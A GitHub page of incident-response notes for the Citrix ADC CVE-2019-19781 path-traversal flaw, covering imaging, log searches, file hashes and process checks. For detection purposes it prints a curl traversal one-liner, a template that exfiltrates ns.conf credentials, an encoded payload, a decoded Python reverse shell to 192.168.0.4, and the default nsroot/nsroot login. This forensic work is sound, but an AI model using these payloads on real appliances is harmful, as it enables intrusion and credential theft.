Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
2 contributors

Users who have contributed to this file

@x1sec @tgmars
480 lines (390 sloc) 28.4 KB

Citrix ADC (NetScaler) CVE-2019-19781 DFIR Notes

Feel free to do a pull request to improve this document.

You can also reach out to me on Twitter @x1sec

Checklist

  • Take image
  • Review HTTP log files
  • Check all modified from the 10th of Jan 2020 until now
  • Review all template files that are non standard
  • Check cronjobs for all users
  • Check all running processes
  • Check bash history
  • Review listening services and tcp/udp connections

Updates:

  • Fireeye have released a tool to search for indicators of compromise. Looks good! consider replacing many steps in this document with simply running this tool
  • Citrix have advised that the mitigation they provided does not work for versions 12.1 in builds for 51.16 / 51.19 and 50.31. If your running these versions, you will want to upgrade immediately.
  • Fireeye have detected widespread malware that exploits a box with a single POST request. This malware prevents any other successful further exploitation of an appliance and might be quite prevalent - so know how to look for it.
  • Due to reports of Internet wide exploitation, it's more likely then not that if a vulnerable appliance was exposed after the 10th of Jan, 2020, it should be assumed to be compromised. This was the date a public exploit became available. Note that Citrix published their advisory on the 17th of December, 2019. When searching for artifacts, consider this date.
  • Software updates from Citrix have started to become available! Patches are availabl. Check here for the schedule.
  • An excellent reddit post contains comments on the latest happenings and other useful links.

When the asset register isn't complete

I have written a pretty fast scanner that does not exploit hosts in an unauthorized manner unlike some other scanners available at the moment. Check the reddit link above for alternative scanners.

Shodan queries (in combination with asn:, net:, org: etc. for limiting the scope to your network):

http.waf:"Citrix NetScaler"

If you have a higher subscription paid API plan (e.g. academic users or small business API), vuln:cve-2019-19781 is available.

As http.waf might not find everything and for some reason in the Shodan cli won't accept this search term, here are some alternatives:

http.title:"NetScaler"
http.title:"Citrix Gateway"
http.title:"Citrix Login"

A quick one-liner to determine if a single host is exploitable:

$ curl 'https://host/vpn/../vpns/cfg/smb.conf' --path-as-is

Taking an image

Credit to Christopher Glyer for posting this great tip on Twitter.

Send an image of the disk over SSH to a remote server:

dd if=/dev/md0 | gzip -1 - | ssh user@[IP address] dd of=/[fullpath]/md0.gz
dd if=/dev/ad0s1a | gzip -1 - | ssh user@[IP address] dd of=/[fullpath]/ad0s1a.gz
dd if=/dev/ad0s1b | gzip -1 - | ssh user@[IP address] dd of=/[fullpath]/ad0s1b.gz

(Change partition names as as appropriate df -h)

Retrieve an image of the disk over SSH:

ssh user@[IP address] "shell dd if=/dev/md0 | gzip -1 - " | dd of=/[fullpath]/md0.gz
ssh user@[IP address] "shell dd if=/dev/ad0s1a | gzip -1 - " | dd of=/[fullpath]/ad0s1a.gz
ssh user@[IP address] "shell dd if=/dev/ad0s1b | gzip -1 - " | dd of=/[fullpath]/ad0s1b.gz

Remove gzip if you're concerned about a performance hit on the host, your ouput file will be raw and contain unallocated space from the partition.

Details on how to mount a FreeBSD image.

Artifacts related to exploitation

You can drop into a shell by running the command shell after SSHing into the appliance.

$ ssh nsroot@192.168.0.5
..
Last login: Thu Nov 28 20:39:03 2019 from 192.168.0.4
 Done
> shell
..

root@ns# 

Search for files created from when exploit became public

root@ns# find /netscaler/portal/templates/ -newermt "2020-01-10" 
/netscaler/portal/templates/brdluphxkv.xml

(Also check /var/tmp/netscaler/portal/templates/ and /var/vpn/bookmark/ for newly created .xml files)

The appliance doesn't have GNU find, nor the stat command, so one way to search for all modified files (in order) from the 10th of Jan:

root@ns# # find / -newermt "2020-01-10" -not -path "/proc/*" -type f -print0 | xargs -0 /bin/ls -ltr 

Narrowing down the results, look for webshells, e.g. php, pl files, xml files (or any file modified since the public exploit was released) in any subdirectory under /netscaler/:

root@ns# find /netscaler -newermt "2020-01-10" -type f -print0 | xargs -0 /bin/ls -ltr

Backdoors are also being observed to be hidden in existing files that can only be triggered with the path traversal vulnerability, so it's worth taking a close look. PHP files placed in the following paths can be invoked from an external HTTP request:

/netscaler/portal/admin/scripts/
/netscaler/portal/scripts/
/netscaler/portal/supporting_files/
/var/netscaler/gui/vpn/scripts/linux
/var/netscaler/gui/vpns/help
/var/netscaler/gui/vpns/scripts/mac
/var/ns_gui/n_top
/var/ns_gui/shared
/var/ns_gui/support
/var/vpn/theme
/var/vpn/themes

The above is configured in /etc/httpd.conf with the Alias directive. Good to double check if the version running has any extra Aliases.

Perl files in /netscaler/portal/scripts/ has been observed to be modified by attackers. If you have other appliances that are known to be in a good state on the same version somewhere else (e.g. staging env), the hashes could be compared. (Or even extracted from a clean image).

root@ns# md5 /netscaler/portal/scripts/*  
MD5 (/netscaler/portal/scripts/PersonalBookmark.pl) = d45a1c4924170e2c398831676a3b8102

On my test instance these are the only valid perl scripts under that directory: (Citrix Gateway VPX for ESX Build 13.0-47.22)

Filename MD5
tips.pl 3280ba3ab11a34077885f9de1beb1c92
logout.pl 2a2b40bfdedfc8b4ba56c280994d8d37
navthemes.pl 9926d0a20e179756daeb4688c8a03b37
newbm.pl 0591c29843bc5a48368ed06c23a3733a
picktheme.pl 575f21c82bd84aa458466e0c378d9abc
rmbm.pl 85b99d94aa01718e1ce830cd86c2d2ff
subscription.pl bb959a65984bad31acd925312d12de8f
themes.pl 5fcb189ac8c557ab1d956e612dae0a05
PersonalBookmark.pl d45a1c4924170e2c398831676a3b8102

Doing an ls -altr might uncover newer modified files. The timestamps should all be the same for these files. Note that timestamps can be modified with the touch command so this is why checking the hashes is important.

Check all cronjobs. If you see any under the user nobody, be alarmed.

root@ns# for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done

Check the crontab logs

# cat /var/log/cron | sed 's/  */ /g' | cut -d" " -f 10 | sort | uniq -c && zcat /var/log/cron*gz | sed 's/  */ /g' | cut -d" " -f 10 | sort | uniq -c /6

Credit darkQuassar

Check bash logs. Pay attention to anything run by the nobody user. Grepping for a tty to reduce noise:

root@ns# cat /var/log/bash.log | grep '/dev/pts/'
root@ns# zcat /var/log/bash.log.*.gz | grep '/dev/pts/'

TrustedSec's Netscaler forensics page notes to also pay attention to "commands executed with the phrase ‘(null) on’ where the username should be".

HTTP Logs

update Here I would recommend to consider using Fireeye's automated tool

The following information is now slightly outdate. The most accurate regex to find all methods of comprimise can be found in the Fireye scanner tool source

Fireeye have found widespread malware that is said to exploit with a single POST request. The actual mechanism to achieve this is not yet known. For that reason, it's best to look directly for POST requests to .pl files with either a 200 or 304 response. Will update here when more informaton is known. Additionally it turns out that the second request can be a HEAD to trigger the payload. So rely on this primarily:

root@ns# grep -iE '(GET|POST).*\.pl HTTP/1\.1\" (200|304)' /var/log/httpaccess.log
root@ns# zgrep -iE '(GET|POST).*\.pl HTTP/1\.1\" (200|304)' /var/log/httpaccess.log.*.gz

Logs are rotated and compressed, so when grepping, be sure to consider this (e.g. use zcat, zgrep)

root@ns# egrep 'logfilename|http|bash' /etc/newsyslog.conf
# logfilename          [owner:group]    mode count size when  flags [/pid_file] [sig_num]
/var/log/bash.log			644  25	   100	*     Z
/var/log/httperror.log			600  5     100	*     ZB    /var/run/httpd.pid 30
/var/log/httpaccess.log			600  5     100	*     ZB    /var/run/httpd.pid 30

size 100 = 100KB. Files are rotated hourly. See documentation

When looking at the logs there will be at minimum 2 HTTP requests, with the first being POST or GET to a vulnerable perl script. The second will generally be a GET request to an XML file with a random name.

(The initial exploits used a POST initially, but it has been shown that a GET request is also possible, writing the template into the actual filename itself) credit: @mpgn_x64

Example from the 2nd released public exploit from Trustedsec (which invokes a reverse shell):

root@ns# tail -2 /var/log/httpaccess.log

192.168.0.4 - - [28/Nov/2019:22:28:20 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 6809 microsecs"
192.168.0.4 - - [28/Nov/2019:22:28:22 +0000] "GET /vpns/portal/xbtewgybbp.xml HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 147744 microsecs"

It is also possible to exploit by writing the RCE template into the actual filename with either a POST or GET request, so when searching logs, also look at GET requests to .pl scripts.

The following is a nice way to show successful exploitation with much less noisy log output. A POST or GET of a .pl file, followed by a GET of an XML file is what you are looking for when running:

root@ns# grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1
root@ns# zgrep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log.*.gz -B 1

Credit @ItsReallyNick

Check for dropped php webshells:

root@ns# grep -iE '(support|shared|n_top|vpn|themes).+\.php HTTP/1\.1\" 200' /var/log/httpaccess.log
root@ns# zgrep -iE '(support|shared|n_top|vpn|themes).+\.php HTTP/1\.1\" 200' /var/log/httpaccess.log.*.gz

Sensitive files

The /nsconfig/ns.conf file contains passwords that are plain text or hashed. The hashed passwords can be cracked easily. (Salted SHA-512). See Hashcat's Twitter post. They should all be changed.

root@ns# grep hashmethod /nsconfig/ns.conf
set system user nsroot 232e00d9695911eede6a540151e66086154bad5221c82f845b05861a2808ebeb34df96427ad7a8b8ebea6c66b3c9c98e59ce09a9ec29735063d0d75e03e3504daa313d7f3 -encrypted -hashmethod SHA512
add system user test 20fe9bc35e289bc39739f26cc6157cf3a27a8020e83d56b300f9a99f749cf0c53f7b4e2a00848e804d4b6d046b6e0519446ee6e250811ec44fa8d2f3bf6d2ce921a26e5f8 -encrypted -hashmethod SHA512

Interesting enough, the initial password is in plain-text. ns.conf.* files should also be checked.

root@ns# grep nsroot /nsconfig/ns.conf.0 
set system user nsroot nsroot

Malicious template that has been observed that doesn't execute code in a shell. The following template appears intended to exfiltrate the ns.conf file:

<bookmark UI_inuse="" descr="b:" title="@FILE@[% USE mydata = datafile('/nsconfig/ns.conf', delim = '
') %][% FOREACH line = mydata %][% FOREACH value = line.values() %][% value %]@BR@[% END %] [% END %]@FILE@" url="http://

credit: @msandbu

Payloads

The Trustedsec PoC specifically encodes the payload. It also appears the Metasploit exploit does the same.

If you see something like this in the dropped template file:

    <bookmark UI_inuse="a" descr="desc" title="[% template.new({'BLOCK'='print readpipe(chr(47) . chr(118) . chr(97) . chr(114) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110 <..CUT..>

Decode with the script below. In this example we see a reverse python shell:

$ python decode.py payload.xml
/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.4",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Here is a quick and dirty decoding script (decode.py):

import re
import sys

if len(sys.argv) != 2 :
   print "usage: ./decode.py payload.txt"
   sys.exit(1)

f = open(sys.argv[1])
l = [b.rstrip() for b in f.readlines()]
j = "".join(l)
f.close()
a = re.search(r'.*readpipe\((.*)\)\'.*', j)
if a is None :
   print "Can't find encoded payload"
   os.Exit(1)

payload = ""
for i in a.group(1).split('.') :
   c = re.search(r'chr\((\d+)\)',i)
   if c is not None :
      k = int(c.group(1))
      payload = payload + str(chr(k))
print payload

Processes

For FreeBSD, use the -d switch to show the parent processes. (Equiv to forrest, -f in GNU ps) Specifically look out for child proceeses of httpd.

root@ns# ps auxd
USER        PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
..
root        966  0.0  0.8 110392 12808  ??  Ss    7:59PM   0:02.11 |-- /bin/httpd
nobody     1013  0.0  1.0 131076 16096  ??  I     7:59PM   0:41.11 | |-- /bin/httpd
nobody     4437  0.0  0.9 137192 14620  ??  I    10:09PM   0:00.69 | |-- /bin/httpd
nobody     4438  0.0  1.3 135208 20488  ??  I    10:09PM   0:00.91 | |-- /bin/httpd
nobody     9560  0.0  1.5 131012 25236  ??  I    11:42PM   0:07.98 | |-- /bin/httpd
nobody     9561  0.0  1.5 131012 24700  ??  I    11:42PM   0:08.54 | |-- /bin/httpd
nobody    10683  0.0  0.8 37396 13564  ??  I    12:19AM   0:00.14 | | `-- /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.4",443));os
nobody    10684  0.0  0.1  8320  1364  ??  I    12:19AM   0:00.01 | |   `-- /bin/sh -i

The default processes observed in a fresh install is at the last section of this document.

Look for suspicious connections. In FreeBSD you can use sockstat with the -c swith to show connected sockets with the corresponding process. (Similar to netstat -natp which is not available).

In the following example, the attacker is 192.168.0.4:

root@ns# sockstat -c -4 | awk '{ if (substr($7,1,8) != "127.0.0.") print $0}'
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
nobody   sh         49870 0  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   sh         49870 1  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   sh         49870 2  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   sh         49870 3  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 0  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 1  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 2  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 3  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   httpd      43544 10 tcp4   127.0.0.1:80          192.168.0.4:29138
root     aslearn    1307  10 tcp4   127.0.0.1:3021        192.168.0.5:3011
root     nsconfigd  1260  19 tcp4   192.168.0.5:3010      192.168.0.5:33524
root     nsconfigd  1260  21 tcp4   192.168.0.5:3010      192.168.0.5:58614

We can dig deeper with lsof which is fortunately installed on the box (trimmed for brevity). Here we can see the TCP connections for a reverse shell, involved from the python interpreter:

root@ns# lsof -p 49869
COMMAND     PID   USER   FD   TYPE             DEVICE SIZE/OFF   NODE NAME
python2.7 49869 nobody  cwd   VDIR               0,59      512      2 /
python2.7 49869 nobody  rtd   VDIR               0,59      512      2 /
python2.7 49869 nobody  txt   VREG               0,69  6222951 216396 /var/python/bin/python2.7
python2.7 49869 nobody  txt   VREG               0,59   250704  27434 /libexec/ld-elf.so.1
python2.7 49869 nobody  txt   VREG               0,59  1268552  13718 /lib/libc.so.7
python2.7 49869 nobody  txt   VREG               0,69    40090 235543 /var/python/lib/python2.7/lib-dynload/_locale.so
python2.7 49869 nobody  txt   VREG               0,69   191268 235556 /var/python/lib/python2.7/lib-dynload/_socket.so
python2.7 49869 nobody  txt   VREG               0,59    85392  13814 /lib/libz.so.5
python2.7 49869 nobody    0u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:34623->192.168.0.4:https (ESTABLISHED)
python2.7 49869 nobody    1u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:34623->192.168.0.4:https (ESTABLISHED)
python2.7 49869 nobody    2u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:34623->192.168.0.4:https (ESTABLISHED)
python2.7 49869 nobody    3u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:34623->192.168.0.4:https (ESTABLISHED)

The /proc/ filesystem also can give us some information:

root@ns# file /proc/49869/file
/proc/49869/file: symbolic link to `/var/python/bin/python2.7'

/proc/<pid>/cmdline may also be of interest.

Check processes that are listening on both TCP and UDP sockets:

root@ns# sockstat -l -P tcp,udp

It's normal to see the nobody user listening on TCP port 80 and 443 as user httpd. If you see UDP port 18634 for httpd, then there is a high probability the device is infected with the NOTROBIN malware described in Fireeye's post

Getting the virtual appliance working in VirtualBox

If you want to play around yourself and don't have access to a gateway you can spin up one locally.

After signing up to citrix.com and logging in, you can download the latest vulnerable appliance at this direct link: https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-47-22.html

Once the .ovf has been imported into VirtualBox, on the host you must set the following (this assumes the VM name is NSVPX-ESX)

VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVendor" "Phoenix Technologies LTD"
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVersion" "6.00"
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSReleaseDate" "07/31/2013"
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSReleaseMajor" 6
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSReleaseMinor" 0
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSFirmwareMajor" 6
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSFirmwareMinor" 0
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiSystemVendor" "VMware, Inc."
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiSystemProduct" "VMware Virtual Platform"

On the first boot you will be asked for an IP address and subnet. The installation will then complete. You can log in with the credentials nsroot / nsroot. You do not need to active a license to exploit the VM.

Default processes

Here is a list of processes running on a vanilla installation. If on a similar version, look carefully at processes that are different.

Citrix Gateway VPX for ESX Build 13.0-47.22

USER        PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
root         11 100.0  0.0     0    32  ??  RL    7:59PM  27:45.13 [idle]
root       1202 98.7 32.2 523996 524176  ??  Rs    7:59PM  39:46.59 nsppe (NSPPE-00)
root       1204  0.6  1.1 31744 17344  ??  Rs    7:59PM   2:00.52 /netscaler/nsnetsvc -S -C
root          0  0.0  0.0     0   704  ??  DLs   7:59PM   0:00.17 [kernel]
root          1  0.0  0.0  3204   428  ??  ILs   7:59PM   0:00.03 /sbin/init --
root          2  0.0  0.0     0    16  ??  DL    7:59PM   0:00.02 [g_event]
root          3  0.0  0.0     0    16  ??  DL    7:59PM   0:00.24 [g_up]
root          4  0.0  0.0     0    16  ??  DL    7:59PM   0:00.39 [g_down]
root          5  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [crypto]
root          6  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [crypto returns]
root          7  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [mpt_recovery0]
root          8  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [sctp_iterator]
root          9  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [xpt_thrd]
root         10  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [audit]
root         12  0.0  0.0     0   224  ??  WL    7:59PM   5:51.55 [intr]
root         13  0.0  0.0     0    16  ??  DL    7:59PM   0:08.13 [yarrow]
root         14  0.0  0.0     0    16  ??  DL    7:59PM   0:07.38 [gv_worker]
root         15  0.0  0.0     0    16  ??  DL    7:59PM   0:00.30 [md0]
root         16  0.0  0.0     0    16  ??  DL    7:59PM   0:00.16 [pagedaemon]
root         17  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [vmdaemon]
root         18  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [pagezero]
root         19  0.0  0.0     0    16  ??  SL    7:59PM   0:00.04 [nsidler]
root         20  0.0  0.0     0    16  ??  DL    7:59PM   0:00.48 [bufdaemon]
root         21  0.0  0.0     0    16  ??  DL    7:59PM   0:01.10 [syncer]
root         22  0.0  0.0     0    16  ??  DL    7:59PM   0:00.80 [vnlru]
root         23  0.0  0.0     0    16  ??  DL    7:59PM   0:00.81 [softdepflush]
root         24  0.0  0.7 10624 10676  ??  S     7:59PM   0:02.26 nspitboss (pitboss)
root        958  0.0  0.1  6896  1204  ??  Ss    7:59PM   0:00.14 /usr/sbin/syslogd -b 127.0.0.1 -n -v -v -8 -C
root        960  0.0  0.1  9008  1168  ??  Is    7:59PM   0:00.00 /usr/sbin/inetd
root        962  0.0  0.1  7952  1220  ??  Ss    7:59PM   0:00.05 /usr/sbin/cron
root        966  0.0  1.5 110392 23868  ??  Ss    7:59PM   0:01.12 /bin/httpd
root        969  0.0  0.1 10196  2376  ??  I     7:59PM   0:00.17 /usr/local/bin/monit -c /etc/monitrc
root        972  0.0  0.2 19104  3340  ??  Ss    7:59PM   0:00.00 /usr/sbin/sshd -f /etc/sshd_config
nobody     1012  0.0  2.1 128964 34780  ??  I     7:59PM   0:00.38 /bin/httpd
nobody     1013  0.0  2.2 128964 35344  ??  I     7:59PM   0:03.47 /bin/httpd
nobody     1014  0.0  2.1 128964 35012  ??  I     7:59PM   0:00.25 /bin/httpd
nobody     1015  0.0  2.1 128964 34764  ??  I     7:59PM   0:00.23 /bin/httpd
nobody     1016  0.0  2.0 128964 33232  ??  I     7:59PM   0:00.14 /bin/httpd
root       1201  0.0  0.2 12648  4060  ??  Ss    7:59PM   0:00.28 nslped
root       1225  0.0  0.2 10868  2852  ??  Ss    7:59PM   0:00.03 /netscaler/nsmap -l
root       1226  0.0  0.8 33360 12556  ??  Ss    7:59PM   0:28.85 /netscaler/nsaggregatord
root       1227  0.0  0.2 76228  3788  ??  Ss    7:59PM   0:03.39 /netscaler/nsclusterd
root       1228  0.0  0.2 10624  3020  ??  Ss    7:59PM   0:00.17 /netscaler/monuploadd
root       1250  0.0  1.0 30968 16780  ??  Ss    7:59PM   0:00.48 /netscaler/nsconfigd -S
root       1252  0.0  1.2 44996 19876  ??  S     7:59PM   0:02.89 /netscaler/nsgslbautosync
root       1255  0.0  0.2 10620  2976  ??  Ss    7:59PM   0:00.03 /netscaler/nsfsyncd -d
root       1263  0.0  0.3 11164  5072  ??  Ss    7:59PM   0:00.18 /netscaler/imi -d
root       1270  0.0  0.2 16072  2508  ??  Is    7:59PM   0:00.00 /netscaler/nscrlrefresh
root       1279  0.0  0.8 43720 12508  ??  S     7:59PM   0:01.16 php /netscaler/websocketd/websocket-ssh-deamon.php
root       1293  0.0  0.1 10132  1392  ??  Is    7:59PM   0:00.00 /netscaler/nskrb nsauth
root       1294  0.0  0.1  6016  1764  ??  I     7:59PM   0:00.00 /netscaler/nsvpnd 7776
root       1295  0.0  0.7 53940 11468  ??  I     7:59PM   0:00.24 /netscaler/nsaaad -n 10 -p 8766
root       1297  0.0  0.2  6016  2696  ??  S     7:59PM   0:00.49 /netscaler/nsvpnd 7776
root       1301  0.0  0.2  7436  3220  ??  S     7:59PM   0:00.33 /netscaler/iked
root       1305  0.0  0.4 15756  6020  ??  S     7:59PM   0:00.56 /netscaler/aslearn -start -f /netscaler/aslearn.conf
root       1310  0.0  0.4 18148  5972  ??  Ss    7:59PM   0:00.56 /netscaler/nsclfsyncd -s
root       1312  0.0  0.4 27044  6428  ??  S     7:59PM   0:01.79 /netscaler/snmpd
root       1314  0.0  0.3 14160  5404  ??  Ss    7:59PM   0:00.43 /netscaler/provserverd -S
root       1317  0.0  0.5 18228  7696  ??  Rs    7:59PM   1:43.34 /netscaler/nsrised -S
root       1319  0.0  0.1  8320  1516  ??  I     7:59PM   0:00.00 sh /netscaler/nssync.sh start
root       1325  0.0  0.6 28904  9552  ??  Ss    7:59PM   0:00.40 /netscaler/nscfsyncd -s
root       1332  0.0  0.1  7920  2432  ??  Ss    7:59PM   0:00.18 /netscaler/syshealthd
root       1333  0.0  0.1  5800   940  ??  Ss    7:59PM   0:00.02 /netscaler/nscac64p
root       1335  0.0  1.9 57572 30776  ??  I     7:59PM   0:00.16 /netscaler/nscollect start
root       1336  0.0  1.9 57572 30796  ??  I     7:59PM   0:00.20 /netscaler/nscollect aggmode
root       1338  0.0  0.1  8320  2364  ??  I     7:59PM   0:00.11 /usr/bin/bash /netscaler/nsproflog.sh cpuuse=900 start
root       1344  0.0  0.4 26132  6792  ??  Ss    7:59PM   0:22.77 /netscaler/metricscollector
root       1345  0.0  0.1  8264  2032  ??  I     7:59PM   0:00.01 /netscaler/datadaemon
root       1354  0.0  0.4 30980  5796  ??  Ss    7:59PM   0:00.09 /netscaler/nscopo -vv -p
root       1355  0.0  0.7 21068 11332  ??  Ss    7:59PM   0:00.57 /netscaler/nstraceaggregator
root       1377  0.0  0.4 18060  5816  ??  I     7:59PM   0:00.01 /netscaler/nssync
root       1430  0.0  0.1  1532   984  ??  Ss    7:59PM   0:01.30 /netscaler/nsprofmgmt 90.0
root       1459  0.0  0.2 18400  3512  ??  S     7:59PM   0:54.10 /netscaler/nsprofmon -s cpu=1 -ys cpuuse=900 -ys profmode=cpuuse -O -k /var/nsproflog/newproflog_cpu_1.out -s logsize=10485760 -ye capture
nsmonitor  1462  0.0  0.2 10620  2876  ??  Ss    7:59PM   0:00.54 /netscaler/nsumond
nobody     1495  0.0  1.7 110456 27468  ??  I     7:59PM   0:00.07 /bin/httpd
root       1524  0.0  0.1  6892  1132  ??  S     8:00PM   0:00.01 /usr/libexec/getty std.9600 ttyu0
root       2228  0.0  0.0  2736   728  ??  I     8:38PM   0:00.00 sleep 60
root       2241  0.0  0.3 19104  4084  ??  Ss    8:38PM   0:00.05 sshd: nsroot@pts/0 (sshd)
root       1516  0.0  0.1  6892  1088  v0  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv0
root       1517  0.0  0.1  6892  1088  v1  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv1
root       1518  0.0  0.1  6892  1088  v2  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv2
root       1519  0.0  0.1  6892  1088  v3  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv3
root       1520  0.0  0.1  6892  1088  v4  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv4
root       1521  0.0  0.1  6892  1088  v5  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv5
root       1522  0.0  0.1  6892  1088  v6  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv6
root       1523  0.0  0.1  6892  1088  v7  Is+   8:00PM   0:00.00 /usr/libexec/getty Pc ttyv7
root       2247  0.0  0.5 18060  8016   0  Ss    8:39PM   0:00.11 nscli
You can’t perform that action at this time.